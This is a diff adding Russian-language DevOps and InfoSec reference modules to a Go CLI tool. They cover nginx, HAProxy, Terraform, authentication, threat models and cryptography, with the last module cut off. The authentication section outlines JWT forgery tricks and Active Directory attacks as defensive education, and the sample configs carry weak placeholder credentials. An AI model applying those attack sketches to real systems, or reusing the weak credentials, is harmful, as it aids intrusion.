+ server backend2:8000 weight=1; + server backend3:8000; + server backend4:8000 backup; # только при недоступности остальных + + keepalive 32; # keepalive соединения +} + +upstream myapp { + ip_hash; # один клиент → один бэкенд (sticky sessions) + server backend1:8000; + server backend2:8000; +} + +server { + listen 80; + location / { + proxy_pass http://myapp; + health_check; # nginx plus или модуль + } +} + +# Алгоритмы балансировки: +# round_robin — по очереди (по умолчанию) +# least_conn — к серверу с наименьшим числом соединений +# ip_hash — по IP клиента (sticky sessions) +# hash $var — по произвольной переменной +# random — случайно`) + + utils.Section("Настройки производительности и безопасности") + utils.Code(`# Rate limiting — ограничение запросов: +http { + limit_req_zone $binary_remote_addr zone=api:10m rate=10r/s; + limit_conn_zone $binary_remote_addr zone=conn:10m; +} + +server { + location /api/ { + limit_req zone=api burst=20 nodelay; + limit_conn conn 10; + proxy_pass http://backend; + } + + # Защита от DDoS: + location /login { + limit_req zone=api rate=1r/s burst=5; + proxy_pass http://backend; + } +} + +# Аутентификация Basic Auth: +location /admin { + auth_basic "Admin Area"; + auth_basic_user_file /etc/nginx/.htpasswd; + proxy_pass http://backend; +} +# htpasswd -c /etc/nginx/.htpasswd admin + +# Блокировка по IP: +location /api { + deny 192.168.1.100; + allow 192.168.1.0/24; + deny all; + proxy_pass http://backend; +} + +# Кэширование прокси: +proxy_cache_path /var/cache/nginx levels=1:2 keys_zone=my_cache:10m + max_size=1g inactive=60m; +server { + location / { + proxy_cache my_cache; + proxy_cache_valid 200 10m; + proxy_cache_use_stale error timeout updating; + add_header X-Cache-Status $upstream_cache_status; + proxy_pass http://backend; + } +}`) + + utils.Section("Let's Encrypt — бесплатные сертификаты") + utils.Code(`# Установка certbot: +apt install certbot python3-certbot-nginx + +# Получить и настроить сертификат: +certbot --nginx -d example.com -d www.example.com + +# Только получить сертификат (без правки nginx.conf): +certbot certonly --nginx -d example.com + +# Обновление (автоматически через systemd timer или cron): +certbot renew --dry-run # тест +certbot renew # обновить просроченные + +# Принудительное обновление: +certbot renew --force-renewal + +# Wildcard сертификат (через DNS challenge): +certbot certonly --manual \ + -d "*.example.com" \ + --preferred-challenges dns`) + + utils.Section("HAProxy — продвинутая балансировка") + utils.Code(`# HAProxy — специализированный балансировщик нагрузки. +# Лучше nginx для TCP/L4 балансировки. +# Богатые возможности health check и ACL. + +# /etc/haproxy/haproxy.cfg: +global + maxconn 50000 + log /dev/log local0 + stats socket /run/haproxy/admin.sock mode 660 level admin + +defaults + log global + mode http + option httplog + option dontlognull + timeout connect 5s + timeout client 30s + timeout server 30s + option forwardfor + option http-server-close + +frontend http_front + bind *:80 + redirect scheme https unless { ssl_fc } + +frontend https_front + bind *:443 ssl crt /etc/ssl/certs/example.pem + default_backend app_back + + # ACL-маршрутизация: + acl is_api path_beg /api/ + use_backend api_back if is_api + +backend app_back + balance roundrobin + option httpchk GET /health + server web1 192.168.1.10:8000 check weight 2 + server web2 192.168.1.11:8000 check weight 1 + server web3 192.168.1.12:8000 check backup + +backend api_back + balance leastconn + timeout server 60s + server api1 192.168.1.20:8080 check + server api2 192.168.1.21:8080 check + +# Статистика: +frontend stats + bind *:8404 + stats enable + stats uri /stats + stats refresh 10s + stats auth admin:secret`) + + utils.Footer() +} diff --git a/modules/devopsmodules/devops_registry.go b/modules/devopsmodules/devops_registry.go new file mode 100644 index 0000000..7fa4465 --- /dev/null +++ b/modules/devopsmodules/devops_registry.go @@ -0,0 +1,114 @@ +package devopsmodules + +import ( + "fmt" + "rubric/utils" + "strings" +) + +type Module struct { + Key string + Aliases []string + Title string + Description string + Run func() +} + +var All = []Module{ + GitModule, + DockerModule, + KubernetesModule, + CicdModule, + AnsibleModule, + TerraformModule, + MonitoringModule, + NginxModule, +} + +func Find(key string) (Module, bool) { + key = strings.ToLower(strings.TrimSpace(key)) + for _, m := range All { + if m.Key == key { + return m, true + } + for _, a := range m.Aliases { + if a == key { + return m, true + } + } + } + return Module{}, false +} + +func ListModules() { + fmt.Printf("\n%s%sРазделы справочника DevOps:%s\n\n", + utils.ColorBold, utils.ColorCyan, utils.ColorReset) + for i, m := range All { + fmt.Printf(" %s%d.%s %-14s — %s\n", + utils.ColorDim, i+1, utils.ColorReset, + utils.ColorYellow+utils.ColorBold+m.Key+utils.ColorReset, + m.Title, + ) + } + fmt.Println() +} + +// Keywords возвращает ключевые слова для поиска по модулю +func Keywords(key string) []string { + kw := map[string][]string{ + "git": { + "git", "ветки", "branch", "merge", "rebase", "commit", "push", "pull", + "clone", "stash", "tag", "cherry-pick", "bisect", "gitflow", "GitHub", + "GitLab", "pull request", "PR", "конфликты", "conflicts", "remote", + "origin", "HEAD", "diff", "log", "blame", "workflow", + }, + "docker": { + "docker", "контейнеры", "containers", "образы", "images", "Dockerfile", + "docker compose", "volumes", "тома", "networks", "сети", "registry", + "Hub", "GHCR", "ECR", "podman", "buildx", "multi-stage", "RUN", "CMD", + "ENTRYPOINT", "COPY", "FROM", "healthcheck", + }, + "kubernetes": { + "kubernetes", "k8s", "kubectl", "Pod", "Deployment", "Service", + "Ingress", "ConfigMap", "Secret", "Namespace", "PVC", "PV", + "StatefulSet", "DaemonSet", "Job", "CronJob", "Helm", "chart", + "RBAC", "Role", "ClusterRole", "HPA", "autoscaling", "kube", + "node", "cluster", "контейнер", "оркестрация", + }, + "cicd": { + "CI", "CD", "пайплайн", "pipeline", "GitHub Actions", "GitLab CI", + "Jenkins", "ArgoCD", "GitOps", "workflow", "job", "runner", + "артефакт", "artifact", "deploy", "деплой", "тесты", "автоматизация", + "continuous integration", "continuous delivery", "YAML", + }, + "ansible": { + "ansible", "playbook", "inventory", "инвентарь", "роли", "roles", + "модули", "modules", "задачи", "tasks", "handlers", "шаблоны", + "templates", "Jinja2", "vault", "секреты", "agentless", "SSH", + "конфигурация", "автоматизация", "idempotent", + }, + "terraform": { + "terraform", "IaC", "инфраструктура как код", "HCL", "провайдер", + "provider", "ресурс", "resource", "state", "план", "plan", "apply", + "destroy", "модуль", "module", "workspace", "backend", "S3", + "AWS", "GCP", "Azure", "переменные", "output", + }, + "monitoring": { + "мониторинг", "Prometheus", "Grafana", "AlertManager", "Loki", + "метрики", "metrics", "алерты", "alerts", "PromQL", "LogQL", + "dashboard", "дашборд", "exporter", "node exporter", "Tempo", + "трассировка", "tracing", "observability", "наблюдаемость", + "SIEM", "логи", "scrape", + }, + "nginx": { + "nginx", "веб-сервер", "reverse proxy", "балансировка", "load balancing", + "upstream", "virtual host", "server block", "SSL", "TLS", "HTTPS", + "Let's Encrypt", "certbot", "HAProxy", "rate limiting", "кэширование", + "cache", "gzip", "location", "proxy_pass", "CORS", + }, + } + if v, ok := kw[key]; ok { + return v + } + return []string{} +} diff --git a/modules/devopsmodules/devops_terraform.go b/modules/devopsmodules/devops_terraform.go new file mode 100644 index 0000000..80abdb4 --- /dev/null +++ b/modules/devopsmodules/devops_terraform.go @@ -0,0 +1,291 @@ +package devopsmodules + +import ( + "rubric/utils" +) + +var TerraformModule = Module{ + Key: "terraform", + Aliases: []string{"tf", "iac", "infra"}, + Title: "Terraform — инфраструктура как код", + Description: "HCL, провайдеры, ресурсы, state, модули, workspace", + Run: showTerraform, +} + +func showTerraform() { + utils.Header("DevOps — Terraform") + + utils.Section("Основы и установка") + utils.Code(`Terraform — декларативный IaC инструмент от HashiCorp. +Описываешь желаемое состояние → Terraform приводит инфраструктуру к нему. + +# Установка: +# https://developer.hashicorp.com/terraform/install +# Linux (apt): +wget -O - https://apt.releases.hashicorp.com/gpg | sudo gpg --dearmor \ + -o /usr/share/keyrings/hashicorp-archive-keyring.gpg +echo "deb [signed-by=...] https://apt.releases.hashicorp.com $(lsb_release -cs) main" \ + | sudo tee /etc/apt/sources.list.d/hashicorp.list +sudo apt update && sudo apt install terraform + +terraform version +terraform -install-autocomplete`) + + utils.Section("Жизненный цикл") + utils.Code(`terraform init # скачать провайдеры, инициализировать backend +terraform validate # проверить синтаксис +terraform fmt # форматировать код +terraform plan # показать что изменится +terraform apply # применить изменения +terraform destroy # удалить всю инфраструктуру + +terraform plan -out=plan.tfplan # сохранить план +terraform apply plan.tfplan # применить сохранённый план +terraform apply -auto-approve # без подтверждения (CI/CD) +terraform apply -target=aws_instance.web # только конкретный ресурс +terraform plan -var="region=eu-west-1" +terraform plan -var-file="prod.tfvars"`) + + utils.Section("Синтаксис HCL") + utils.Code(`# main.tf — основная конфигурация: +terraform { + required_version = ">= 1.7" + required_providers { + aws = { + source = "hashicorp/aws" + version = "~> 5.0" + } + } + backend "s3" { + bucket = "my-tf-state" + key = "prod/terraform.tfstate" + region = "eu-west-1" + encrypt = true + } +} + +provider "aws" { + region = var.aws_region + profile = "myprofile" +}`) + + utils.Code(`# variables.tf — входные переменные: +variable "aws_region" { + description = "AWS регион" + type = string + default = "eu-west-1" +} + +variable "instance_count" { + type = number + default = 2 +} + +variable "allowed_cidrs" { + type = list(string) + default = ["10.0.0.0/8"] +} + +variable "tags" { + type = map(string) + default = { + Environment = "production" + Team = "backend" + } +} + +variable "db_password" { + type = string + sensitive = true # не показывать в логах +}`) + + utils.Code(`# outputs.tf — выходные значения: +output "web_ip" { + value = aws_instance.web.public_ip + description = "Публичный IP веб-сервера" +} + +output "db_endpoint" { + value = aws_db_instance.main.endpoint + sensitive = true +}`) + + utils.Code(`# Использование переменных: +resource "aws_instance" "web" { + ami = data.aws_ami.ubuntu.id + instance_type = "t3.micro" + count = var.instance_count + + tags = merge(var.tags, { + Name = "web-${count.index + 1}" + }) +} + +# locals — локальные вычисляемые значения: +locals { + name_prefix = "${var.project}-${var.environment}" + common_tags = { + Project = var.project + Environment = var.environment + ManagedBy = "terraform" + } +}`) + + utils.Section("Основные ресурсы (AWS)") + utils.Code(`# Data sources — чтение существующих ресурсов: +data "aws_ami" "ubuntu" { + most_recent = true + owners = ["099720109477"] # Canonical + filter { + name = "name" + values = ["ubuntu/images/hvm-ssd/ubuntu-*-22.04-amd64-server-*"] + } +} + +data "aws_vpc" "default" { + default = true +} + +# EC2: +resource "aws_instance" "web" { + ami = data.aws_ami.ubuntu.id + instance_type = "t3.micro" + subnet_id = aws_subnet.public.id + vpc_security_group_ids = [aws_security_group.web.id] + key_name = "mykey" + user_data = file("scripts/init.sh") + + root_block_device { + volume_size = 20 + encrypted = true + } + + lifecycle { + create_before_destroy = true + ignore_changes = [ami] + } + + tags = local.common_tags +} + +# Security Group: +resource "aws_security_group" "web" { + name = "${local.name_prefix}-web-sg" + vpc_id = aws_vpc.main.id + + ingress { + from_port = 80 + to_port = 80 + protocol = "tcp" + cidr_blocks = ["0.0.0.0/0"] + } + + egress { + from_port = 0 + to_port = 0 + protocol = "-1" + cidr_blocks = ["0.0.0.0/0"] + } +} + +# S3 Bucket: +resource "aws_s3_bucket" "assets" { + bucket = "${local.name_prefix}-assets" +} + +resource "aws_s3_bucket_versioning" "assets" { + bucket = aws_s3_bucket.assets.id + versioning_configuration { + status = "Enabled" + } +}`) + + utils.Section("Модули (Modules)") + utils.Code(`# Модуль — переиспользуемая конфигурация +# modules/ec2/main.tf, variables.tf, outputs.tf + +# Использование модуля: +module "web_servers" { + source = "./modules/ec2" + # или из реестра: + # source = "terraform-aws-modules/ec2-instance/aws" + # version = "~> 5.0" + + instance_count = 3 + instance_type = "t3.small" + vpc_id = aws_vpc.main.id + subnet_ids = aws_subnet.public[*].id + tags = local.common_tags +} + +output "web_ips" { + value = module.web_servers.public_ips +} + +# Популярные модули из реестра registry.terraform.io: +# terraform-aws-modules/vpc/aws +# terraform-aws-modules/eks/aws +# terraform-aws-modules/rds/aws`) + + utils.Section("State и Backend") + utils.Code(`# State — файл состояния (terraform.tfstate) +# Хранит текущее состояние инфраструктуры. +# НЕ коммити в Git! Содержит секреты. + +# Remote backend — общий state для команды: +# S3 + DynamoDB (для lock): +backend "s3" { + bucket = "my-tf-state" + key = "prod/terraform.tfstate" + region = "eu-west-1" + encrypt = true + dynamodb_table = "tf-state-lock" # блокировка +} + +# Команды state: +terraform state list # список ресурсов в state +terraform state show aws_instance.web # детали ресурса +terraform state mv aws_instance.old aws_instance.new # переименовать +terraform state rm aws_instance.web # убрать из state (не удалять) +terraform import aws_instance.web i-1234567890 # импортировать существующий + +# Workspace — несколько окружений в одном конфиге: +terraform workspace list +terraform workspace new staging +terraform workspace select production +# В коде: terraform.workspace → "staging" / "production"`) + + utils.Section("Лучшие практики") + utils.Code(`Структура проекта: + infra/ + ├── modules/ # переиспользуемые модули + │ ├── vpc/ + │ ├── eks/ + │ └── rds/ + ├── environments/ + │ ├── staging/ + │ │ ├── main.tf + │ │ ├── variables.tf + │ │ └── staging.tfvars + │ └── production/ + │ ├── main.tf + │ └── production.tfvars + └── .terraform.lock.hcl # версии провайдеров (коммитить!) + +Правила: +- Всегда планируй перед apply: terraform plan +- Remote state с блокировкой для командной работы +- Раздели state по окружениям и компонентам +- Используй .terraform.lock.hcl в git +- sensitive = true для секретных переменных +- Используй terragrunt для DRY-конфигураций + +Инструменты: + tflint — линтинг Terraform + tfsec — статический анализ безопасности + checkov — security и compliance checks + terragrunt — обёртка для DRY-конфигурации + atlantis — автоматизация PR для Terraform`) + + utils.Footer() +} diff --git a/modules/gomodules/go_registry.go b/modules/gomodules/go_registry.go index a6c3e86..63c7c61 100644 --- a/modules/gomodules/go_registry.go +++ b/modules/gomodules/go_registry.go @@ -99,3 +99,26 @@ func ListModules() { } fmt.Println() } + +// Keywords возвращает ключевые слова для поиска по модулю +func Keywords(key string) []string { + kw := map[string][]string{ + "basics": { + "установка", "install", "go build", "go test", "go run", "go fmt", + "go vet", "go doc", "go mod", "go get", "тестирование", "сборка", + "компиляция", "кросс-компиляция", "GOOS", "GOARCH", "golangci-lint", + "бенчмарк", "benchmark", "покрытие", "coverage", "go env", "GOPATH", + }, + "structs": { + "переменные", "variables", "объявления", "declarations", "типы", "types", + "указатели", "pointers", "new", "область видимости", "scope", + "пакеты", "packages", "импорт", "import", "инициализация", "init", + "var", "const", "nil", "zero value", "нулевое значение", + "присваивание", "assignment", "ключевые слова", "keywords", + }, + } + if v, ok := kw[key]; ok { + return v + } + return []string{} +} diff --git a/modules/infosecmodules/infosec_authn.go b/modules/infosecmodules/infosec_authn.go new file mode 100644 index 0000000..233103c --- /dev/null +++ b/modules/infosecmodules/infosec_authn.go @@ -0,0 +1,325 @@ +package infosecmodules + +import ( + "rubric/utils" +) + +var AuthnModule = Module{ + Key: "authn", + Aliases: []string{"auth", "mfa", "jwt", "oauth"}, + Title: "Аутентификация и авторизация", + Description: "MFA, JWT, OAuth2, OIDC, RBAC, LDAP/AD, управление доступом", + Run: showAuthn, +} + +func showAuthn() { + utils.Header("InfoSec — Аутентификация и авторизация") + + utils.Section("Основные понятия") + utils.Code(`Authentication (AuthN) — кто ты? Проверка идентичности. +Authorization (AuthZ) — что тебе можно? Проверка прав. + +Факторы аутентификации: + Something you know — пароль, PIN, секретный вопрос + Something you have — токен, телефон, смарт-карта + Something you are — биометрика (отпечаток, лицо) + Somewhere you are — геолокация, IP (дополнительный фактор) + +MFA (Multi-Factor Authentication) — два и более фактора. +2FA — два фактора (подмножество MFA). + +Типы MFA (от слабого к сильному): + SMS OTP — уязвим к SIM-swap, SS7 атакам + TOTP — RFC 6238, Google Authenticator (лучше SMS) + HOTP — счётчик, менее популярен + Push Auth — Duo, Microsoft Authenticator + FIDO2/WebAuthn — аппаратные ключи, phishing-resistant (лучший вариант)`) + + utils.Section("Пароли и хранение") + utils.Code(`Правила паролей (NIST SP 800-63B — актуальные рекомендации): + - Минимальная длина: 8+ символов (лучше 12-14+) + - НЕ требовать обязательную смену (только при компрометации) + - НЕ требовать сложность (но и не запрещать) + - Проверять по словарю скомпрометированных паролей + - Разрешать пробелы и Unicode + - Показывать пароль при вводе (опционально) + - Поддерживать менеджеры паролей (не ограничивать длину) + +Хранение паролей: + ❌ Открытый текст + ❌ Обратимое шифрование + ❌ MD5 / SHA-1 без соли + ✓ bcrypt (cost ≥ 12), Argon2id, scrypt + +Проверка скомпрометированных паролей: + Have I Been Pwned API — проверить hashed пароль + k-Anonymity: отправить первые 5 символов хэша + https://api.pwnedpasswords.com/range/{hash_prefix} + +Account Lockout: + Блокировать после N неудачных попыток (3-5) + Экспоненциальная задержка между попытками + Уведомлять пользователя о неудачных попытках`) + + utils.Section("TOTP — Time-based One-Time Password") + utils.Code(`RFC 6238. Основан на HMAC-SHA1 + временном счётчике. + +Как работает: + 1. Общий секрет (seed) обменивается один раз (QR-код) + 2. Counter = floor(UnixTime / 30) # меняется каждые 30 сек + 3. OTP = HOTP(secret, counter) — 6-8 цифр + 4. Сервер проверяет OTP ± 1 временной шаг + +Уязвимости: + - Фишинг в реальном времени (attacker-in-the-middle) + - Не защищает от SIM-swap (только SMS) + - Потеря устройства = потеря доступа + +# Python реализация: +import pyotp +secret = pyotp.random_base32() +totp = pyotp.TOTP(secret) +print(totp.now()) # текущий OTP +print(totp.verify("123456")) # проверить + +# Provisioning URI для QR-кода: +uri = totp.provisioning_uri("alice@example.com", issuer_name="MyApp")`) + + utils.Section("FIDO2 / WebAuthn — беспарольная аутентификация") + utils.Code(`FIDO2 = WebAuthn (W3C) + CTAP (Client-to-Authenticator Protocol) +Phishing-resistant: ключ привязан к origin (домену). + +Аутентификаторы: + Platform — встроенный в устройство (Touch ID, Windows Hello) + Roaming — внешний ключ (YubiKey, Titan Key) + +Как работает: + Регистрация: + 1. Сервер отправляет challenge + 2. Аутентификатор создаёт пару ключей для этого origin + 3. Публичный ключ сохраняется на сервере + 4. Приватный ключ НИКОГДА не покидает устройство + + Аутентификация: + 1. Сервер отправляет challenge + 2. Аутентификатор подписывает challenge приватным ключом + 3. Сервер верифицирует подпись публичным ключом + + Атака фишингом НЕВОЗМОЖНА: ключ не работает на evil.com + +Паспорты (Passkeys): + = FIDO2 ключи, синхронизируемые через облако (iCloud, Google, 1Password) + Удобство ключей + синхронизация устройств`) + + utils.Section("JWT — JSON Web Token") + utils.Code(`JWT — компактный токен для передачи claims между сторонами. +Используется для stateless аутентификации (API, микросервисы). + +Структура: header.payload.signature + + # Header (base64url): + {"alg": "HS256", "typ": "JWT"} + + # Payload (base64url): + { + "sub": "1234567890", # subject (user ID) + "name": "Alice Smith", + "iat": 1516239022, # issued at + "exp": 1516242622, # expiration + "jti": "uuid", # JWT ID (для revocation) + "iss": "https://auth.example.com", # issuer + "aud": "https://api.example.com" # audience + } + + # Signature: + HMAC-SHA256(base64(header) + "." + base64(payload), secret) + +Типы алгоритмов: + Симметричные (один ключ): + HS256, HS384, HS512 — HMAC-SHA + Асимметричные (ключевая пара): + RS256 — RSA + SHA256 (рекомендуется для распределённых систем) + ES256 — ECDSA + SHA256 (компактнее) + EdDSA — Ed25519 (современный) + +Уязвимости JWT: + alg=none — КРИТИЧНО, проверяй алгоритм! + Атака: изменить alg на "none", удалить подпись + RS256→HS256 подмена + Атака: использовать публичный RSA ключ как HMAC секрет + Слабый секрет — поддаётся брутфорсу + Отсутствие exp — токен не истекает + Хранение в localStorage — доступен XSS атаке + +Лучшие практики: + - Короткий TTL (access token: 15 мин, refresh: 7 дней) + - Использовать RS256 или ES256 (не HS256 в распределённых системах) + - Хранить в HttpOnly cookie (не localStorage!) + - Проверять iss, aud, exp + - Реализовать token revocation (Redis blacklist или jti)`) + + utils.Section("OAuth2 и OpenID Connect") + utils.Code(`OAuth2 — фреймворк делегированной авторизации (не аутентификации!). +OIDC (OpenID Connect) — слой аутентификации поверх OAuth2. + +OAuth2 Roles: + Resource Owner — пользователь + Client — приложение (запрашивает доступ) + Resource Server — API с защищёнными данными + Authorization Server — выдаёт токены + +OAuth2 Grant Types (потоки): + Authorization Code — для веб-приложений (РЕКОМЕНДУЕТСЯ) + 1. Redirect → Auth Server с code_challenge (PKCE) + 2. Пользователь авторизуется + 3. Redirect обратно с code + 4. Обмен code на tokens (server-side) + + Client Credentials — сервис-к-сервису (без пользователя) + + Device Authorization — умные устройства, CLI + + ❌ Implicit Flow — устаревший, уязвим (токен в URL) + ❌ Resource Owner Password — только для доверенных приложений + +PKCE (Proof Key for Code Exchange): + Защита от перехвата authorization code. + Обязателен для публичных клиентов (SPA, мобильные). + code_verifier = random() + code_challenge = base64url(sha256(code_verifier)) + +Токены OAuth2: + Access Token — краткоживущий, доступ к API + Refresh Token — долгоживущий, получение нового access token + ID Token — OIDC, JWT с данными пользователя + +OIDC Scopes: + openid — обязательный для OIDC, возвращает ID Token + profile — имя, аватар, locale + email — email и верификация + address — адрес + phone — телефон`) + + utils.Section("RBAC, ABAC и управление доступом") + utils.Code(`DAC (Discretionary Access Control): + Владелец решает кто имеет доступ (Linux chmod, ACL) + +MAC (Mandatory Access Control): + Системная политика (SELinux, AppArmor) + +RBAC (Role-Based Access Control): + Права назначаются ролям, роли — пользователям. + Пример: admin, editor, viewer + Kubernetes RBAC: Role → RoleBinding → ServiceAccount/User + +ABAC (Attribute-Based Access Control): + Решения на основе атрибутов (пользователь, ресурс, контекст) + Пример: OPA (Open Policy Agent), AWS IAM + +ReBAC (Relationship-Based Access Control): + Права через отношения между объектами + Пример: Google Zanzibar, SpiceDB, OpenFGA + +Принцип наименьших привилегий: + Давать только необходимые права + Just-in-Time (JIT) доступ — временное повышение привилегий + Privileged Access Management (PAM): + CyberArk, HashiCorp Vault, AWS IAM Identity Center + +# OPA — Open Policy Agent (пример Rego политики): +package authz + +default allow = false + +allow if { + input.method == "GET" + input.path == ["api", "public"] +} + +allow if { + input.user.role == "admin" +}`) + + utils.Section("LDAP и Active Directory") + utils.Code(`LDAP (Lightweight Directory Access Protocol): + Протокол доступа к каталогам (пользователи, группы, ресурсы). + +Active Directory — Microsoft LDAP + Kerberos + DNS. + +LDAP структура: + DC=example,DC=com — домен + OU=Users — организационная единица + CN=Alice Smith — объект (пользователь) + +Полный DN: CN=Alice Smith,OU=Users,DC=example,DC=com + +# ldapsearch — поиск в LDAP: +ldapsearch -H ldap://dc.example.com \ + -D "CN=binduser,DC=example,DC=com" \ + -w password \ + -b "DC=example,DC=com" \ + "(sAMAccountName=alice)" + +# Атаки на LDAP/AD: +Pass-the-Hash — использование хэша NTLM без пароля +Pass-the-Ticket — использование Kerberos билета +Kerberoasting — получение хэшей service tickets +AS-REP Roasting — атака на аккаунты без Kerberos preauth +DCSync — имитация контроллера домена (миллионы хэшей) +LDAP Injection — инъекция в LDAP-запросы + +# Защита: +- Kerberos AES вместо NTLM/RC4 +- Protected Users группа (не кэшировать credentials) +- Отключить NTLMv1, ограничить NTLMv2 +- LAPS (Local Admin Password Solution) +- Tiered Administration Model`) + + utils.Section("Secrets Management") + utils.Code(`НЕ хранить секреты в: + ❌ Git / исходном коде + ❌ Docker image / Dockerfile + ❌ Environment variables (видны в /proc) + ❌ Логах + +Инструменты управления секретами: + HashiCorp Vault — де-факто стандарт: + Динамические секреты (генерация по запросу) + Lease и автообновление + Аудит всех обращений + + AWS Secrets Manager / Parameter Store + GCP Secret Manager + Azure Key Vault + Kubernetes Secrets (base64, не зашифровано по умолчанию!) + + Sealed Secrets (Bitnami) — зашифрованные секреты в Git + + External Secrets Operator — синхронизация с Vault/AWS + +# HashiCorp Vault — основные операции: +vault server -config=vault.hcl +vault operator init # инициализация (ключи разуплотнения) +vault operator unseal # разуплотнение +vault login + +vault secrets enable kv-v2 +vault kv put secret/myapp db_password=s3cret api_key=abc123 +vault kv get secret/myapp +vault kv get -field=db_password secret/myapp + +# Динамические секреты PostgreSQL: +vault secrets enable database +vault write database/config/mydb \ + plugin_name=postgresql-database-plugin \ + connection_url="postgresql://{{username}}:{{password}}@db:5432/mydb" \ + allowed_roles="my-role" +vault write database/roles/my-role \ + db_name=mydb \ + creation_statements="CREATE ROLE..." \ + default_ttl="1h" max_ttl="24h" + +# Получить временные credentials: +vault read database/creds/my-role +# → username: v-root-xyz123, password: A1B2C3..., lease_duration: 1h`) + + utils.Footer() +} diff --git a/modules/infosecmodules/infosec_basics.go b/modules/infosecmodules/infosec_basics.go new file mode 100644 index 0000000..397dbec --- /dev/null +++ b/modules/infosecmodules/infosec_basics.go @@ -0,0 +1,155 @@ +package infosecmodules + +import ( + "rubric/utils" +) + +var BasicsModule = Module{ + Key: "basics", + Aliases: []string{"b", "intro", "основы"}, + Title: "Основы информационной безопасности", + Description: "Модели угроз, CIA, стандарты, термины, атаки, классификации", + Run: showBasics, +} + +func showBasics() { + utils.Header("InfoSec — Основы") + + utils.Section("Триада CIA") + utils.Code(`CIA Triad — основа информационной безопасности: + +Confidentiality (Конфиденциальность) + Информация доступна только авторизованным лицам. + Нарушение: утечка данных, перехват трафика. + Меры: шифрование, контроль доступа, NDA. + +Integrity (Целостность) + Информация не изменена несанкционированно. + Нарушение: подмена данных, SQL-инъекция. + Меры: хэши, подписи, контроль версий, аудит. + +Availability (Доступность) + Система работает когда нужна. + Нарушение: DDoS, сбой оборудования. + Меры: резервирование, backups, CDN, мониторинг. + +Расширения: + + Non-repudiation (Неотказуемость) — действие нельзя отрицать + + Authenticity — подлинность источника + + Accountability — действия можно проследить до субъекта`) + + utils.Section("Ключевые понятия") + utils.Code(`Угроза (Threat) — потенциальное событие, способное навредить +Уязвимость (Vulnerability) — слабое место в системе +Риск (Risk) — вероятность × последствия угрозы +Эксплойт (Exploit) — использование уязвимости +Атака (Attack) — реализация угрозы +Вектор атаки (Attack Vector) — путь реализации атаки +Поверхность атаки (Attack Surface) — совокупность точек входа + +Субъекты: + Threat Actor — тот кто осуществляет атаку + APT (Advanced Persistent Threat) — государственные хакеры + Script Kiddie — использует чужие инструменты без понимания + Insider Threat — угроза изнутри (сотрудник) + Hacktivists — политически мотивированные хакеры`) + + utils.Section("Классификация атак") + utils.Code(`По цели: + Пассивные — наблюдение, перехват (не изменяют систему) + Активные — изменение, разрушение, внедрение + +По вектору: + Network — сетевые атаки (MITM, DDoS, сканирование) + Web — уязвимости веб-приложений (XSS, SQLi, CSRF) + Social Engineering — манипуляция людьми (фишинг, вишинг) + Physical — физический доступ, кража устройств + Supply Chain — атаки на цепочку поставок (SolarWinds) + +Распространённые типы: + Phishing — поддельные письма/сайты для кражи данных + Spear Phishing — целевой фишинг (конкретная жертва) + Ransomware — шифрование данных с выкупом + Man-in-the-Middle — перехват и изменение трафика + SQL Injection — внедрение SQL в запросы + XSS — внедрение скриптов в веб-страницы + DDoS — перегрузка сервиса запросами + Brute Force — перебор паролей/ключей + Zero-day — уязвимость без патча от вендора + Privilege Escalation — повышение привилегий`) + + utils.Section("Модели угроз (Threat Modeling)") + utils.Code(`STRIDE — классификация угроз Microsoft: + Spoofing — подделка идентичности + Tampering — изменение данных + Repudiation — отрицание действий + Information Disclosure — утечка данных + Denial of Service — отказ в обслуживании + Elevation of Privilege — повышение привилегий + +PASTA (Process for Attack Simulation and Threat Analysis): + 1. Определить бизнес-цели + 2. Определить технические требования + 3. Декомпозировать приложение + 4. Анализ угроз + 5. Анализ уязвимостей + 6. Моделирование атак + 7. Анализ рисков + +DREAD — оценка риска (1-10 по каждому): + Damage — ущерб от атаки + Reproducibility — воспроизводимость + Exploitability — сложность эксплуатации + Affected users — количество пострадавших + Discoverability — обнаруживаемость`) + + utils.Section("Стандарты и фреймворки") + utils.Code(`NIST Cybersecurity Framework: + Identify → Protect → Detect → Respond → Recover + +ISO/IEC 27001 — стандарт ISMS (Information Security Management System) +ISO/IEC 27002 — практики управления ИБ + +CIS Controls — 18 критических контролей безопасности: + 1. Инвентаризация активов + 2. Инвентаризация ПО + 3. Защита данных + ... + 18. Тестирование безопасности + +OWASP — Open Web Application Security Project: + OWASP Top 10 — топ уязвимостей веб-приложений + ASVS — Application Security Verification Standard + Testing Guide — руководство по тестированию + +PCI DSS — Payment Card Industry Data Security Standard + Для организаций обрабатывающих платёжные карты + +GDPR / 152-ФЗ — защита персональных данных + +CVSS — Common Vulnerability Scoring System + Шкала серьёзности уязвимостей 0.0–10.0 + Low (<4), Medium (4-6.9), High (7-8.9), Critical (9-10)`) + + utils.Section("Defence in Depth — эшелонированная защита") + utils.Code(`Принцип многоуровневой защиты: компрометация одного уровня +не означает компрометацию всей системы. + +Уровни защиты: + Физическая безопасность — замки, охрана, CCTV + Периметр сети — firewall, IPS/IDS, DMZ + Внутренняя сеть — сегментация, VLAN, NAC + Хост — hardening, EDR, патчи + Приложение — WAF, SAST, аутентификация + Данные — шифрование, DLP, backups + Люди — обучение, политики, MFA + +Принципы: + Least Privilege — минимально необходимые права + Need to Know — доступ только к нужной информации + Zero Trust — не доверяй никому по умолчанию, верифицируй всё + Fail Secure — при сбое → закрытое состояние + Security by Design — безопасность с самого начала проектирования`) + + utils.Footer() +} diff --git a/modules/infosecmodules/infosec_crypto.go b/modules/infosecmodules/infosec_crypto.go new file mode 100644 index 0000000..b67d8fa --- /dev/null +++ b/modules/infosecmodules/infosec_crypto.go @@ -0,0 +1,209 @@ +package infosecmodules + +import ( + "rubric/utils" +) + +var CryptoModule = Module{ + Key: "crypto", + Aliases: []string{"cr", "encryption", "крипто"}, + Title: "Криптография", + Description: "Симметричная/асимметричная криптография, хэши, MAC, алгоритмы", + Run: showCrypto, +} + +func showCrypto() { + utils.Header("InfoSec — Криптография") + + utils.Section("Основные понятия") + utils.Code(`Plaintext — открытый текст (исходные данные) +Ciphertext — зашифрованные данные +Encryption — процесс шифрования +Decryption — расшифровка +Key — ключ (параметр алгоритма) +Algorithm — математический метод шифрования +Protocol — набор правил использования алгоритмов + +Принцип Керкхоффса: + Алгоритм может быть публичным. + Безопасность зависит только от секретности ключа. + (Не полагайтесь на "Security Through Obscurity"!)`) + + utils.Section("Симметричная криптография") + utils.Code(`Один ключ — для шифрования И расшифровки. +Быстро, подходит для больших объёмов данных. +Проблема: как безопасно передать ключ? + +Алгоритмы: + AES (Advanced 